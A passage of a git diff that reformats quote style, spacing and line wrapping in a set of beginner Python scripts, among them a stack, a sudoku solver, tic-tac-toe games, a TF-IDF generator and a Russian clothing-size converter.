+1,44 @@ -# Python program for implementation of stack - -# import maxsize from sys module -# Used to return -infinite when stack is empty -from sys import maxsize - -# Function to create a stack. It initializes size of stack as 0 -def createStack(): - stack = [] - return stack - -# Stack is empty when stack size is 0 -def isEmpty(stack): - return len(stack) == 0 - -# Function to add an item to stack. It increases size by 1 -def push(stack, item): - stack.append(item) - print(item + " pushed to stack ") - -# Function to remove an item from stack. It decreases size by 1 -def pop(stack): - if (isEmpty(stack)): - return str(-maxsize -1) # return minus infinite - - return stack.pop() - -# Function to return the top from stack without removing it -def peek(stack): - if (isEmpty(stack)): - return str(-maxsize -1) # return minus infinite - return stack[len(stack) - 1] - -# Driver program to test above functions -stack = createStack() -push(stack, str(10)) -push(stack, str(20)) -push(stack, str(30)) -print(pop(stack) + " popped from stack") +# Python program for implementation of stack + +# import maxsize from sys module +# Used to return -infinite when stack is empty +from sys import maxsize + +# Function to create a stack. It initializes size of stack as 0 +def createStack(): + stack = [] + return stack + + +# Stack is empty when stack size is 0 +def isEmpty(stack): + return len(stack) == 0 + + +# Function to add an item to stack. It increases size by 1 +def push(stack, item): + stack.append(item) + print(item + " pushed to stack ") + + +# Function to remove an item from stack. It decreases size by 1 +def pop(stack): + if isEmpty(stack): + return str(-maxsize - 1) # return minus infinite + + return stack.pop() + + +# Function to return the top from stack without removing it +def peek(stack): + if isEmpty(stack): + return str(-maxsize - 1) # return minus infinite + return stack[len(stack) - 1] + + +# Driver program to test above functions +stack = createStack() +push(stack, str(10)) +push(stack, str(20)) +push(stack, str(30)) +print(pop(stack) + " popped from stack") diff --git a/stone_paper_scissor/main.py b/stone_paper_scissor/main.py index b22ff72137f..2a2166f4f47 100644 --- a/stone_paper_scissor/main.py +++ b/stone_paper_scissor/main.py @@ -1,32 +1,31 @@ import utils + # import the random module import random -print('Starting the Rock Paper Scissors game!') -player_name = input('Please enter your name: ') # Takes Input from the user +print("Starting the Rock Paper Scissors game!") +player_name = input("Please enter your name: ") # Takes Input from the user -print('Pick a hand: (0: Rock, 1: Paper, 2: Scissors)') +print("Pick a hand: (0: Rock, 1: Paper, 2: Scissors)") while True: try: - player_hand = int(input('Please enter a number (0-2): ')) + player_hand = int(input("Please enter a number (0-2): ")) if player_hand not in range(3): raise ValueError else: break - except ValueError as e: - print('Please input a correct number') + except ValueError as e: + print("Please input a correct number") if utils.validate(player_hand): # Assign a random number between 0 and 2 to computer_hand using randint computer_hand = random.randint(0, 2) - + utils.print_hand(player_hand, player_name) - utils.print_hand(computer_hand, 'Computer') + utils.print_hand(computer_hand, "Computer") result = utils.judge(player_hand, computer_hand) - print('Result: ' + result) + print("Result: " + result) else: - print('Please enter a valid number') - - + print("Please enter a valid number") diff --git a/stone_paper_scissor/utils.py b/stone_paper_scissor/utils.py index defcd14192d..7acd1f61d36 100644 --- a/stone_paper_scissor/utils.py +++ b/stone_paper_scissor/utils.py @@ -3,18 +3,20 @@ def validate(hand): return False return True -def print_hand(hand, name='Guest'): - hands = ['Rock', 'Paper', 'Scissors'] - print(name + ' picked: ' + hands[hand]) + +def print_hand(hand, name="Guest"): + hands = ["Rock", "Paper", "Scissors"] + print(name + " picked: " + hands[hand]) + def judge(player, computer): if player == computer: - return 'Draw' + return "Draw" elif player == 0 and computer == 1: - return 'Lose' + return "Lose" elif player == 1 and computer == 2: - return 'Lose' + return "Lose" elif player == 2 and computer == 0: - return 'Lose' + return "Lose" else: - return 'Win' \ No newline at end of file + return "Win" diff --git a/string_rotation.py b/string_rotation.py index 69f5d36b2e3..1b38bca0fd5 100644 --- a/string_rotation.py +++ b/string_rotation.py @@ -1,20 +1,22 @@ -#This program rotates a given string letters by letters -#for example: -#input: "Tie" -#Output: ["ieT", "eTi"] +# This program rotates a given string letters by letters +# for example: +# input: "Tie" +# Output: ["ieT", "eTi"] + def rotate(n): a = list(n) if len(a) == 0: - return print ([]) + return print([]) l = [] - for i in range(1,len(a)+1): - a = [a[(i+1)%(len(a))] for i in range(0,len(a))] + for i in range(1, len(a) + 1): + a = [a[(i + 1) % (len(a))] for i in range(0, len(a))] l += ["".join(a)] print(l) + string = str(input()) -print("Your input is :" ,string) +print("Your input is :", string) print("The rotation is :") rotate(string) diff --git a/sudoku.py b/sudoku.py index 801a942b89e..688f164caff 100644 --- a/sudoku.py +++ b/sudoku.py @@ -1,13 +1,13 @@ board = [ - [7,8,0,4,0,0,1,2,0], - [6,0,0,0,7,5,0,0,9], - [0,0,0,6,0,1,0,7,8], - [0,0,7,0,4,0,2,6,0], - [0,0,1,0,5,0,9,3,0], - [9,0,4,0,6,0,0,0,5], - [0,7,0,3,0,0,0,1,2], - [1,2,0,0,0,7,4,0,0], - [0,4,9,2,0,6,0,0,7] + [7, 8, 0, 4, 0, 0, 1, 2, 0], + [6, 0, 0, 0, 7, 5, 0, 0, 9], + [0, 0, 0, 6, 0, 1, 0, 7, 8], + [0, 0, 7, 0, 4, 0, 2, 6, 0], + [0, 0, 1, 0, 5, 0, 9, 3, 0], + [9, 0, 4, 0, 6, 0, 0, 0, 5], + [0, 7, 0, 3, 0, 0, 0, 1, 2], + [1, 2, 0, 0, 0, 7, 4, 0, 0], + [0, 4, 9, 2, 0, 6, 0, 0, 7], ] @@ -18,7 +18,7 @@ def solve(bo): else: row, col = find - for i in range(1,10): + for i in range(1, 10): if valid(bo, i, (row, col)): bo[row][col] = i @@ -45,9 +45,9 @@ def valid(bo, num, pos): box_x = pos[1] // 3 box_y = pos[0] // 3 - for i in range(box_y*3, box_y*3 + 3): - for j in range(box_x * 3, box_x*3 + 3): - if bo[i][j] == num and (i,j) != pos: + for i in range(box_y * 3, box_y * 3 + 3): + for j in range(box_x * 3, box_x * 3 + 3): + if bo[i][j] == num and (i, j) != pos: return False return True @@ -80,4 +80,4 @@ def find_empty(bo): print_board(board) solve(board) print("_________________________") -print_board(board) \ No newline at end of file +print_board(board) diff --git a/swap.py b/swap.py index 54cef8e89c1..2126a7e1ae5 100644 --- a/swap.py +++ b/swap.py @@ -2,13 +2,13 @@ y = 10 # To take inputs from the user -#x = input('Enter value of x: ') -#y = input('Enter value of y: ') +# x = input('Enter value of x: ') +# y = input('Enter value of y: ') # create a temporary variable and swap the values temp = x x = y y = temp -print('The value of x after swapping: {}'.format(x)) -print('The value of y after swapping: {}'.format(y)) +print("The value of x after swapping: {}".format(x)) +print("The value of y after swapping: {}".format(y)) diff --git a/tempCodeRunnerFile.py b/tempCodeRunnerFile.py index 1bb028d19c6..4818bec8ac0 100644 --- a/tempCodeRunnerFile.py +++ b/tempCodeRunnerFile.py @@ -1 +1 @@ -connected_msg = 'DISCONNECTED' \ No newline at end of file +connected_msg = "DISCONNECTED" diff --git a/testlines.py b/testlines.py index 3c2e62b3d08..5de3766038e 100644 --- a/testlines.py +++ b/testlines.py @@ -1,7 +1,7 @@ # Script Name : testlines.py # Author : Craig Richards # Created : 08th December 2011 -# Last Modified : +# Last Modified : # Version : 1.0 # Modifications : beven nyamande @@ -10,9 +10,9 @@ def write_to_file(filename, txt): - with open(filename, 'w') as file_object: + with open(filename, "w") as file_object: s = file_object.write(txt) -if __name__ == '__main__': - write_to_file('test.txt', 'I am beven') +if __name__ == "__main__": + write_to_file("test.txt", "I am beven") diff --git a/text-to-audio/main.py b/text-to-audio/main.py index 052889cb17b..4f18f5153a1 100644 --- a/text-to-audio/main.py +++ b/text-to-audio/main.py @@ -1,19 +1,18 @@ - -from gtts import gTTS -import os +from gtts import gTTS +import os # Enter the text in string format which you want to convert to audio mytext = "Hello World!, this audio is created using GTTS module." # Specify the language in which you want your audio -language = 'en' +language = "en" -# Create an instance of gTTS class -myobj = gTTS(text=mytext, lang=language, slow=False) +# Create an instance of gTTS class +myobj = gTTS(text=mytext, lang=language, slow=False) # Method to create your audio file in mp3 format -myobj.save("hello_world.mp3") +myobj.save("hello_world.mp3") print("Audio Saved") # This will play your audio file -os.system("mpg321 welcome.mp3") +os.system("mpg321 welcome.mp3") diff --git a/text_file_replace.py b/text_file_replace.py index 3addc267d8a..216c5916537 100644 --- a/text_file_replace.py +++ b/text_file_replace.py @@ -13,22 +13,24 @@ def text_file_replace(file, encoding, old, new): lines = [] cnt = 0 - with open(file=file, mode='r', encoding=encoding) as fd: + with open(file=file, mode="r", encoding=encoding) as fd: for line in fd: cnt += line.count(old) lines.append(line.replace(old, new)) - with open(file=file, mode='w', encoding=encoding) as fd: + with open(file=file, mode="w", encoding=encoding) as fd: fd.writelines(lines) - print("{} occurence(s) of \"{}\" have been replaced with \"{}\"".format(cnt, old, new)) + print('{} occurence(s) of "{}" have been replaced with "{}"'.format(cnt, old, new)) return cnt -if __name__ == '__main__': + +if __name__ == "__main__": import argparse + parser = argparse.ArgumentParser() - parser.add_argument("-f", "--file", help = "File.") - parser.add_argument("-e", "--encoding", default='utf-8', help = "Encoding.") - parser.add_argument("-o", "--old", help = "Old string.") - parser.add_argument("-n", "--new", help = "New string.") + parser.add_argument("-f", "--file", help="File.") + parser.add_argument("-e", "--encoding", default="utf-8", help="Encoding.") + parser.add_argument("-o", "--old", help="Old string.") + parser.add_argument("-n", "--new", help="New string.") args = parser.parse_args() - + text_file_replace(args.file, args.encoding, args.old, args.new) diff --git a/tf_idf_generator.py b/tf_idf_generator.py index 03abeeb50d1..4e99e96ce64 100644 --- a/tf_idf_generator.py +++ b/tf_idf_generator.py @@ -1,4 +1,4 @@ -'''@Author: Anurag Kumar(mailto:anuragkumarak95@gmail.com) +"""@Author: Anurag Kumar(mailto:anuragkumarak95@gmail.com) This module is used for generating a TF-IDF file or values from a list of files that contains docs. What is TF-IDF : https://en.wikipedia.org/wiki/Tf%E2%80%93idf @@ -30,26 +30,26 @@ here, every line represents a document. have fun, cheers. -''' +""" import math import pickle from colorama import Fore, Style switcher = { - 'r': Fore.RED, - 'bk': Fore.BLACK, - 'b': Fore.BLUE, - 'g': Fore.GREEN, - 'y': Fore.YELLOW, - 'm': Fore.MAGENTA, - 'c': Fore.CYAN, - 'w': Fore.WHITE + "r": Fore.RED, + "bk": Fore.BLACK, + "b": Fore.BLUE, + "g": Fore.GREEN, + "y": Fore.YELLOW, + "m": Fore.MAGENTA, + "c": Fore.CYAN, + "w": Fore.WHITE, } -def paint(str, color='r'): - '''Utility func, for printing colorful logs in console... +def paint(str, color="r"): + """Utility func, for printing colorful logs in console... @args: -- @@ -60,17 +60,17 @@ def paint(str, color='r'): -- str : final modified string with foreground color as per parameters. - ''' + """ if color in switcher: str = switcher[color] + str + Style.RESET_ALL return str -TAG = paint('TF-IDF-GENE/', 'b') +TAG = paint("TF-IDF-GENE/", "b") def find_tf_idf(file_names=None, prev_file_path=None, dump_path=None): - '''Function to create a TF-IDF list of dictionaries for a corpus of docs. + """Function to create a TF-IDF list of dictionaries for a corpus of docs. If you opt for dumping the data, you can provide a file_path with .tfidfpkl extension(standard made for better understanding) and also re-generate a new tfidf list which overrides over an old one by mentioning its path. @@ -84,22 +84,26 @@ def find_tf_idf(file_names=None, prev_file_path=None, dump_path=None): -- idf : a dict of unique words in corpus,with their document frequency as values. tf_idf : the generated tf-idf list of dictionaries for mentioned docs. - ''' + """ if file_names is None: - file_names = ['./../test/testdata'] - tf_idf = [] # will hold a dict of word_count for every doc(line in a doc in this case) + file_names = ["./../test/testdata"] + tf_idf = ( + [] + ) # will hold a dict of word_count for every doc(line in a doc in this case) idf = {} # this statement is useful for altering existant tf-idf file and adding new docs in itself.(## memory is now the biggest issue) if prev_file_path: - print(TAG, 'modifying over exising file.. @', prev_file_path) - idf, tf_idf = pickle.load(open(prev_file_path, 'rb')) + print(TAG, "modifying over exising file.. @", prev_file_path) + idf, tf_idf = pickle.load(open(prev_file_path, "rb")) prev_doc_count = len(idf) prev_corpus_length = len(tf_idf) for f in file_names: - file1 = open(f, 'r') # never use 'rb' for textual data, it creates something like, {b'line-inside-the-doc'} + file1 = open( + f, "r" + ) # never use 'rb' for textual data, it creates something like, {b'line-inside-the-doc'} # create word_count dict for all docs for line in file1: @@ -127,15 +131,32 @@ def find_tf_idf(file_names=None, prev_file_path=None, dump_path=None): doc[key] = true_tf * true_idf # do not get overwhelmed, just for logging the quantity of words that have been processed. - print(TAG, 'Total number of unique words in corpus', len(idf), - '( ' + paint('++' + str(len(idf) - prev_doc_count), 'g') + ' )' if prev_file_path else '') - print(TAG, 'Total number of docs in corpus:', len(tf_idf), - '( ' + paint('++' + str(len(tf_idf) - prev_corpus_length), 'g') + ' )' if prev_file_path else '') + print( + TAG, + "Total number of unique words in corpus", + len(idf), + "( " + paint("++" + str(len(idf) - prev_doc_count), "g") + " )" + if prev_file_path + else "", + ) + print( + TAG, + "Total number of docs in corpus:", + len(tf_idf), + "( " + paint("++" + str(len(tf_idf) - prev_corpus_length), "g") + " )" + if prev_file_path + else "", + ) # dump if a dir-path is given if dump_path: - if dump_path[-8:] != 'tfidfpkl': raise Exception( - TAG + "Please provide a .tfidfpkl file_path, it is the standard format of this module.") - pickle.dump((idf, tf_idf), open(dump_path, 'wb'), protocol=pickle.HIGHEST_PROTOCOL) - print(TAG, 'Dumping TF-IDF vars @', dump_path) + if dump_path[-8:] != "tfidfpkl": + raise Exception( + TAG + + "Please provide a .tfidfpkl file_path, it is the standard format of this module." + ) + pickle.dump( + (idf, tf_idf), open(dump_path, "wb"), protocol=pickle.HIGHEST_PROTOCOL + ) + print(TAG, "Dumping TF-IDF vars @", dump_path) return idf, tf_idf diff --git a/thired-party-haarcascade-mustache-on-face/mustache-add-on-face.py b/thired-party-haarcascade-mustache-on-face/mustache-add-on-face.py index 262a988cf71..0e30d89d195 100644 --- a/thired-party-haarcascade-mustache-on-face/mustache-add-on-face.py +++ b/thired-party-haarcascade-mustache-on-face/mustache-add-on-face.py @@ -4,30 +4,28 @@ cap = cv2.VideoCapture(0) -face_cascade = cv2.CascadeClassifier('face.xml') +face_cascade = cv2.CascadeClassifier("face.xml") -nose_cascade = cv2.CascadeClassifier('Nose.xml') +nose_cascade = cv2.CascadeClassifier("Nose.xml") -mustache = cv2.imread('image/mustache.png', -1) +mustache = cv2.imread("image/mustache.png", -1) -while (True): +while True: ret, frame = cap.read() gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY) - faces = face_cascade.detectMultiScale( - gray, scaleFactor=1.5, minNeighbors=5) + faces = face_cascade.detectMultiScale(gray, scaleFactor=1.5, minNeighbors=5) frame = cv2.cvtColor(frame, cv2.COLOR_BGR2BGRA) for (x, y, w, h) in faces: - roi_gray = gray[y:y + h, x:x + h] # rec - roi_color = frame[y:y + h, x:x + h] + roi_gray = gray[y : y + h, x : x + h] # rec + roi_color = frame[y : y + h, x : x + h] - nose = nose_cascade.detectMultiScale( - roi_gray, scaleFactor=1.5, minNeighbors=5) + nose = nose_cascade.detectMultiScale(roi_gray, scaleFactor=1.5, minNeighbors=5) for (nx, ny, nw, nh) in nose: - roi_nose = roi_gray[ny: ny + nh, nx: nx + nw] + roi_nose = roi_gray[ny : ny + nh, nx : nx + nw] mustache2 = image_resize(mustache.copy(), width=nw) mw, mh, mc = mustache2.shape @@ -35,14 +33,13 @@ for j in range(0, mh): if mustache2[i, j][3] != 0: # alpha 0 - roi_color[ny + int(nh / 2.0) + i, nx + - j] = mustache2[i, j] + roi_color[ny + int(nh / 2.0) + i, nx + j] = mustache2[i, j] # Display the resulting frame frame = cv2.cvtColor(frame, cv2.COLOR_BGRA2BGR) - cv2.imshow('frame', frame) - if cv2.waitKey(20) & 0xFF == ord('x'): + cv2.imshow("frame", frame) + if cv2.waitKey(20) & 0xFF == ord("x"): break cap.release() diff --git a/thired-party-haarcascade-mustache-on-face/utils.py b/thired-party-haarcascade-mustache-on-face/utils.py index 4fd9d3db373..832c2c3ff8e 100644 --- a/thired-party-haarcascade-mustache-on-face/utils.py +++ b/thired-party-haarcascade-mustache-on-face/utils.py @@ -44,9 +44,9 @@ class CFEVideoConf(object): # Video Encoding, might require additional installs # Types of Codes: http://www.fourcc.org/codecs.php VIDEO_TYPE = { - 'avi': cv2.VideoWriter_fourcc(*'XVID'), + "avi": cv2.VideoWriter_fourcc(*"XVID"), # 'mp4': cv2.VideoWriter_fourcc(*'H264'), - 'mp4': cv2.VideoWriter_fourcc(*'XVID'), + "mp4": cv2.VideoWriter_fourcc(*"XVID"), } width = 640 @@ -67,8 +67,8 @@ def change_res(self, width, height): self.capture.set(3, width) self.capture.set(4, height) - def get_dims(self, res='480p'): - width, height = self.STD_DIMENSIONS['480p'] + def get_dims(self, res="480p"): + width, height = self.STD_DIMENSIONS["480p"] if res in self.STD_DIMENSIONS: width, height = self.STD_DIMENSIONS[res] self.change_res(width, height) @@ -79,4 +79,4 @@ def get_video_type(self): filename, ext = os.path.splitext(self.filepath) if ext in self.VIDEO_TYPE: return self.VIDEO_TYPE[ext] - return self.VIDEO_TYPE['avi'] + return self.VIDEO_TYPE["avi"] diff --git a/thread_signal.py b/thread_signal.py index ef2c2829d99..902093517ab 100644 --- a/thread_signal.py +++ b/thread_signal.py @@ -25,7 +25,7 @@ def handler_thread(event): def handler(signum, frame): - handler_thread(frame.f_globals['event']) + handler_thread(frame.f_globals["event"]) signal.signal(signal.SIGINT, handler) diff --git a/tic-tac-toe.py b/tic-tac-toe.py index d072b65ea90..8956be21237 100644 --- a/tic-tac-toe.py +++ b/tic-tac-toe.py @@ -1,90 +1,103 @@ -import os -import time +import os +import time -board = [' ',' ',' ',' ',' ',' ',' ',' ',' ',' '] -player = 1 +board = [" ", " ", " ", " ", " ", " ", " ", " ", " ", " "] +player = 1 -########win Flags########## -Win = 1 -Draw = -1 -Running = 0 -Stop = 1 -########################### -Game = Running -Mark = 'X' +########win Flags########## +Win = 1 +Draw = -1 +Running = 0 +Stop = 1 +########################### +Game = Running +Mark = "X" -#This Function Draws Game Board -def DrawBoard(): - print(" %c | %c | %c " % (board[1],board[2],board[3])) - print("___|___|___") - print(" %c | %c | %c " % (board[4],board[5],board[6])) - print("___|___|___") - print(" %c | %c | %c " % (board[7],board[8],board[9])) - print(" | | ") +# This Function Draws Game Board +def DrawBoard(): + print(" %c | %c | %c " % (board[1], board[2], board[3])) + print("___|___|___") + print(" %c | %c | %c " % (board[4], board[5], board[6])) + print("___|___|___") + print(" %c | %c | %c " % (board[7], board[8], board[9])) + print(" | | ") -#This Function Checks position is empty or not -def CheckPosition(x): - if(board[x] == ' '): - return True - else: - return False -#This Function Checks player has won or not -def CheckWin(): - global Game - #Horizontal winning condition - if(board[1] == board[2] and board[2] == board[3] and board[1] != ' '): - Game = Win - elif(board[4] == board[5] and board[5] == board[6] and board[4] != ' '): - Game = Win - elif(board[7] == board[8] and board[8] == board[9] and board[7] != ' '): - Game = Win - #Vertical Winning Condition - elif(board[1] == board[4] and board[4] == board[7] and board[1] != ' '): - Game = Win - elif(board[2] == board[5] and board[5] == board[8] and board[2] != ' '): - Game = Win - elif(board[3] == board[6] and board[6] == board[9] and board[3] != ' '): - Game=Win - #Diagonal Winning Condition - elif(board[1] == board[5] and board[5] == board[9] and board[5] != ' '): - Game = Win - elif(board[3] == board[5] and board[5] == board[7] and board[5] != ' '): - Game=Win - #Match Tie or Draw Condition - elif(board[1]!=' ' and board[2]!=' ' and board[3]!=' ' and board[4]!=' ' and board[5]!=' ' and board[6]!=' ' and board[7]!=' ' and board[8]!=' ' and board[9]!=' '): - Game=Draw - else: - Game=Running +# This Function Checks position is empty or not +def CheckPosition(x): + if board[x] == " ": + return True + else: + return False -print("Tic-Tac-Toe Game Designed By Sourabh Somani") -print("Player 1 [X] --- Player 2 [O]\n") -print() -print() -print("Please Wait...") -time.sleep(3) -while(Game == Running): - os.system('cls') - DrawBoard() - if(player % 2 != 0): - print("Player 1's chance") - Mark = 'X' - else: - print("Player 2's chance") - Mark = 'O' - choice = int(input("Enter the position between [1-9] where you want to mark : ")) - if(CheckPosition(choice)): - board[choice] = Mark - player+=1 - CheckWin() -os.system('cls') -DrawBoard() -if(Game==Draw): - print("Game Draw") -elif(Game==Win): - player-=1 - if(player%2!=0): - print("Player 1 Won") - else: +# This Function Checks player has won or not +def CheckWin(): + global Game + # Horizontal winning condition + if board[1] == board[2] and board[2] == board[3] and board[1] != " ": + Game = Win + elif board[4] == board[5] and board[5] == board[6] and board[4] != " ": + Game = Win + elif board[7] == board[8] and board[8] == board[9] and board[7] != " ": + Game = Win + # Vertical Winning Condition + elif board[1] == board[4] and board[4] == board[7] and board[1] != " ": + Game = Win + elif board[2] == board[5] and board[5] == board[8] and board[2] != " ": + Game = Win + elif board[3] == board[6] and board[6] == board[9] and board[3] != " ": + Game = Win + # Diagonal Winning Condition + elif board[1] == board[5] and board[5] == board[9] and board[5] != " ": + Game = Win + elif board[3] == board[5] and board[5] == board[7] and board[5] != " ": + Game = Win + # Match Tie or Draw Condition + elif ( + board[1] != " " + and board[2] != " " + and board[3] != " " + and board[4] != " " + and board[5] != " " + and board[6] != " " + and board[7] != " " + and board[8] != " " + and board[9] != " " + ): + Game = Draw + else: + Game = Running + + +print("Tic-Tac-Toe Game Designed By Sourabh Somani") +print("Player 1 [X] --- Player 2 [O]\n") +print() +print() +print("Please Wait...") +time.sleep(3) +while Game == Running: + os.system("cls") + DrawBoard() + if player % 2 != 0: + print("Player 1's chance") + Mark = "X" + else: + print("Player 2's chance") + Mark = "O" + choice = int(input("Enter the position between [1-9] where you want to mark : ")) + if CheckPosition(choice): + board[choice] = Mark + player += 1 + CheckWin() + +os.system("cls") +DrawBoard() +if Game == Draw: + print("Game Draw") +elif Game == Win: + player -= 1 + if player % 2 != 0: + print("Player 1 Won") + else: print("Player 2 Won") diff --git a/tic_tak_toe.py b/tic_tak_toe.py index 448e647f518..3138057fea0 100644 --- a/tic_tak_toe.py +++ b/tic_tak_toe.py @@ -1,116 +1,120 @@ -# Tic-Tac-Toe Program using -# random number in Python - -# importing all necessary libraries -import numpy as np -import random -from time import sleep - -# Creates an empty board -def create_board(): - return(np.array([[0, 0, 0], - [0, 0, 0], - [0, 0, 0]])) - -# Check for empty places on board -def possibilities(board): - l = [] - - for i in range(len(board)): - for j in range(len(board)): - - if board[i][j] == 0: - l.append((i, j)) - return(l) - -# Select a random place for the player -def random_place(board, player): - selection = possibilities(board) - current_loc = random.choice(selection) - board[current_loc] = player - return(board) - -# Checks whether the player has three -# of their marks in a horizontal row -def row_win(board, player): - for x in range(len(board)): - win = True - - for y in range(len(board)): - if board[x, y] != player: - win = False - continue - - if win == True: - return(win) - return(win) - -# Checks whether the player has three -# of their marks in a vertical row -def col_win(board, player): - for x in range(len(board)): - win = True - - for y in range(len(board)): - if board[y][x] != player: - win = False - continue - - if win == True: - return(win) - return(win) - -# Checks whether the player has three -# of their marks in a diagonal row -def diag_win(board, player): - win = True - y = 0 - for x in range(len(board)): - if board[x, x] != player: - win = False - if win: - return win - win = True - if win: - for x in range(len(board)): - y = len(board) - 1 - x - if board[x, y] != player: - win = False - return win - -# Evaluates whether there is -# a winner or a tie -def evaluate(board): - winner = 0 - - for player in [1, 2]: - if (row_win(board, player) or - col_win(board,player) or - diag_win(board,player)): - - winner = player - - if np.all(board != 0) and winner == 0: - winner = -1 - return winner - -# Main function to start the game -def play_game(): - board, winner, counter = create_board(), 0, 1 - print(board) - sleep(2) - - while winner == 0: - for player in [1, 2]: - board = random_place(board, player) - print("Board after " + str(counter) + " move") - print(board) - sleep(2) - counter += 1 - winner = evaluate(board) - if winner != 0: - break - return(winner) - -# Driver Code -print("Winner is: " + str(play_game())) +# Tic-Tac-Toe Program using +# random number in Python + +# importing all necessary libraries +import numpy as np +import random +from time import sleep + +# Creates an empty board +def create_board(): + return np.array([[0, 0, 0], [0, 0, 0], [0, 0, 0]]) + + +# Check for empty places on board +def possibilities(board): + l = [] + + for i in range(len(board)): + for j in range(len(board)): + + if board[i][j] == 0: + l.append((i, j)) + return l + + +# Select a random place for the player +def random_place(board, player): + selection = possibilities(board) + current_loc = random.choice(selection) + board[current_loc] = player + return board + + +# Checks whether the player has three +# of their marks in a horizontal row +def row_win(board, player): + for x in range(len(board)): + win = True + + for y in range(len(board)): + if board[x, y] != player: + win = False + continue + + if win == True: + return win + return win + + +# Checks whether the player has three +# of their marks in a vertical row +def col_win(board, player): + for x in range(len(board)): + win = True + + for y in range(len(board)): + if board[y][x] != player: + win = False + continue + + if win == True: + return win + return win + + +# Checks whether the player has three +# of their marks in a diagonal row +def diag_win(board, player): + win = True + y = 0 + for x in range(len(board)): + if board[x, x] != player: + win = False + if win: + return win + win = True + if win: + for x in range(len(board)): + y = len(board) - 1 - x + if board[x, y] != player: + win = False + return win + + +# Evaluates whether there is +# a winner or a tie +def evaluate(board): + winner = 0 + + for player in [1, 2]: + if row_win(board, player) or col_win(board, player) or diag_win(board, player): + + winner = player + + if np.all(board != 0) and winner == 0: + winner = -1 + return winner + + +# Main function to start the game +def play_game(): + board, winner, counter = create_board(), 0, 1 + print(board) + sleep(2) + + while winner == 0: + for player in [1, 2]: + board = random_place(board, player) + print("Board after " + str(counter) + " move") + print(board) + sleep(2) + counter += 1 + winner = evaluate(board) + if winner != 0: + break + return winner + + +# Driver Code +print("Winner is: " + str(play_game())) diff --git a/tik_tak.py b/tik_tak.py index 2f414221384..fb4d11601cb 100644 --- a/tik_tak.py +++ b/tik_tak.py @@ -26,7 +26,7 @@ def enter_number(p1_sign, p2_sign): global switch global j k = 9 - while (j): + while j: if k == 0: break diff --git a/totaldigits.py b/totaldigits.py index 92a1cbeda26..6515bc23293 100644 --- a/totaldigits.py +++ b/totaldigits.py @@ -1,6 +1,6 @@ # To Find The Total Number Of Digits In A Number -N = int(input("Enter The number")) # To remove zeros before the number +N = int(input("Enter The number")) # To remove zeros before the number count = len(str(N)) -print(count) +print(count) diff --git a/tower_of_hanoi.py b/tower_of_hanoi.py index 61b576610a2..0fbf061b96a 100644 --- a/tower_of_hanoi.py +++ b/tower_of_hanoi.py @@ -1,4 +1,4 @@ -'''Tower of Hanoi is a mathematical puzzle where we have three rods and n disks. The objective of the puzzle is to move +"""Tower of Hanoi is a mathematical puzzle where we have three rods and n disks. The objective of the puzzle is to move the entire stack to another rod, obeying the following simple rules: 1) Only one disk can be moved at a time. 2) Each move consists of taking the upper disk from one of the stacks and placing it on top of another stack i.e. a disk @@ -16,26 +16,28 @@ Shift 'n-1' disks from 'SOURCE' to 'TEMPORARY'. Shift last disk from 'SOURCE' to 'DESTINATION'. Shift 'n-1' disks from 'TEMPORARY' to 'DESTINATION'. -''' -def toh(n,s,t,d): - if n==1: - print(s,'-->',d) +""" + + +def toh(n, s, t, d): + if n == 1: + print(s, "-->", d) return - toh(n-1,s,d,t) - print(s,'-->',d) - toh(n-1,t,s,d) + toh(n - 1, s, d, t) + print(s, "-->", d) + toh(n - 1, t, s, d) -if __name__=="__main__": + +if __name__ == "__main__": while 1: - n = int(input('''Enter number of disks:''')) + n = int(input("""Enter number of disks:""")) - if n<0: + if n < 0: print("Try Again with a valid input") continue - elif n==0: + elif n == 0: break - toh(n,'Source','Temporary','Destination') - - print('ENTER 0 TO EXIT') + toh(n, "Source", "Temporary", "Destination") + print("ENTER 0 TO EXIT") diff --git a/translation_of_sizes_of_underwear_RU.py b/translation_of_sizes_of_underwear_RU.py index 5ee3823e6bb..63a64e9e34e 100644 --- a/translation_of_sizes_of_underwear_RU.py +++ b/translation_of_sizes_of_underwear_RU.py @@ -1,23 +1,45 @@ # coding: utf-8 def my_found(req): - my_dict = {'XXS':[42, 36, 8, 38, 24], 'XS':(2), 'S':(4), 'M':(6), 'L':(8), 'XL':(10), 'XXL':(12), 'XXXL':(14)} - if req[0] != 'XXS': answ = my_dict['XXS'][req[1]-1]+my_dict[req[0]] - else: answ = my_dict['XXS'][req[1]-1] + my_dict = { + "XXS": [42, 36, 8, 38, 24], + "XS": (2), + "S": (4), + "M": (6), + "L": (8), + "XL": (10), + "XXL": (12), + "XXXL": (14), + } + if req[0] != "XXS": + answ = my_dict["XXS"][req[1] - 1] + my_dict[req[0]] + else: + answ = my_dict["XXS"][req[1] - 1] return answ -country = {1:'Россия', 2:'Германия', 3:'США', 4:'Франция', 5:'Великобритания'} -print('Программа перевода размеров женского белья из\n' - 'международной системы в системы следующих стран:\n' - '1 - Россия, 2 - Германия, 3 - США, 4 - Франция, 5 - Великобритания.\n' - 'Справка (международная система): XXS, XS, S, M, L, XL, XXL, XXXL') +country = {1: "Россия", 2: "Германия", 3: "США", 4: "Франция", 5: "Великобритания"} + +print( + "Программа перевода размеров женского белья из\n" + "международной системы в системы следующих стран:\n" + "1 - Россия, 2 - Германия, 3 - США, 4 - Франция, 5 - Великобритания.\n" + "Справка (международная система): XXS, XS, S, M, L, XL, XXL, XXXL" +) req = [] -while len(req)<=1: - req = list(input('>>> Введите через пробел международный размер и страну,\n' - 'в систему которой перевести данный размер: ').split()) +while len(req) <= 1: + req = list( + input( + ">>> Введите через пробел международный размер и страну,\n" + "в систему которой перевести данный размер: " + ).split() + ) req[0] = req[0].upper() - if len(req)<=1: print('Вы таки что-то сделали не так... \nНужно повторить попытку!') - else:req[1] = int(req[1]) + if len(req) <= 1: + print("Вы таки что-то сделали не так... \nНужно повторить попытку!") + else: + req[1] = int(req[1]) -print(f'Выбранный Вами размер "{req[0]}" в системе размеров "{country[req[1]]}" будет: {my_found(req)}') +print( + f'Выбранный Вами размер "{req[0]}" в системе размеров "{country[req[1]]}" будет: {my_found(req)}' +) diff --git a/triangles.py b/triangles.py index 6b8ce5e2c09..97283d8dad8 100644 --- a/triangles.py +++ b/triangles.py @@ -1,20 +1,22 @@ max_size = 10 print( - "(a)" + " " * (max_size) + - "(b)" + " " * (max_size) + - "(c)" + " " * (max_size) + - "(d)" + " " * (max_size) - ) + "(a)" + + " " * (max_size) + + "(b)" + + " " * (max_size) + + "(c)" + + " " * (max_size) + + 